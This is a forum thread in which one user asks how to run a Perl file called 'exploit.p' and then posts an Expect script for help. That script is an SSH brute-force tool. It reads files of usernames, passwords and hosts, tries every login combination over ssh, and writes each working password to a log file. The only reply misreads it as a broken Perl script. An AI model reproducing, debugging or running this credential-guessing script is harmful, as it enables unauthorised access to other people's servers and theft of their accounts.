Perl scripts :)

Questions about programming languages and debugging
Post Reply
User avatar
ayu
Staff
Staff
Posts: 8109
Joined: 27 Aug 2005, 16:00
19
Contact:

Perl scripts :)

Post by ayu »

How do i execute a perl script

ex: i have "exploit.p" on my deskop...i knew it b4....but i forgot... never used it = / but now i need it again :oops:

User avatar
bad_brain
Site Owner
Site Owner
Posts: 11638
Joined: 06 Apr 2005, 16:00
19
Location: In your eye floaters.
Contact:

Post by bad_brain »

Get the Perl environment, change the PATH variable to the bin folder and simply run the script with
perl scriptname.pl
.... :wink:

User avatar
ayu
Staff
Staff
Posts: 8109
Joined: 27 Aug 2005, 16:00
19
Contact:

Post by ayu »

When i trie to run my file it says "no such file or directory" ....yar >_<

User avatar
bad_brain
Site Owner
Site Owner
Posts: 11638
Joined: 06 Apr 2005, 16:00
19
Location: In your eye floaters.
Contact:

Post by bad_brain »

When you´re in command prompt you have to cd to the folder where the script is located...either that or you have forgotten to change the PATH-variable to the Perl bin-folder... :wink:

User avatar
ayu
Staff
Staff
Posts: 8109
Joined: 27 Aug 2005, 16:00
19
Contact:

Post by ayu »

Yeah worked now. Thx :)

User avatar
ayu
Staff
Staff
Posts: 8109
Joined: 27 Aug 2005, 16:00
19
Contact:

Post by ayu »

Tried to solve this one on my own....but once again i failed ^^

Someone that can help me? :)

Image

the code im using is

#!/usr/bin/expect -f
#

set timeout 5
set dictionary [lindex $argv 0]
set file [lindex $argv 1]
set user [lindex $argv 2]

if {[llength $argv] != 3} {
puts stderr "Usage: $argv0 <dictionary-file> <hosts-file> <user-file>\n"
exit }

set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]

set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]

foreach username $login
{
foreach passwd $passwords
{
foreach ip $hosts
{
spawn ssh $username@$ip
expect ":"
send "$passwd\n"
set logFile [open $ip.log a]
expect "L"
{
puts $logFile "password for $username@$ip is $passwd\n"
close $logFile
}
set id [exp_pid]
exec kill -INT $id
}
}
}

User avatar
ayu
Staff
Staff
Posts: 8109
Joined: 27 Aug 2005, 16:00
19
Contact:

Post by ayu »

Anyone? :?

User avatar
bad_brain
Site Owner
Site Owner
Posts: 11638
Joined: 06 Apr 2005, 16:00
19
Location: In your eye floaters.
Contact:

Post by bad_brain »

Um, well, I just started with Perl, but it seems like the script wants to use a library which isn´t present, "expect" is a module for Perl under Linux as far as I know.
Normally a Perl script starts with

Code: Select all

#!/usr/bin/perl
In the "usual" Perl environment "expect" isn´t available in the bin-folder, at least not in the Active State Perl one.... :?

Post Reply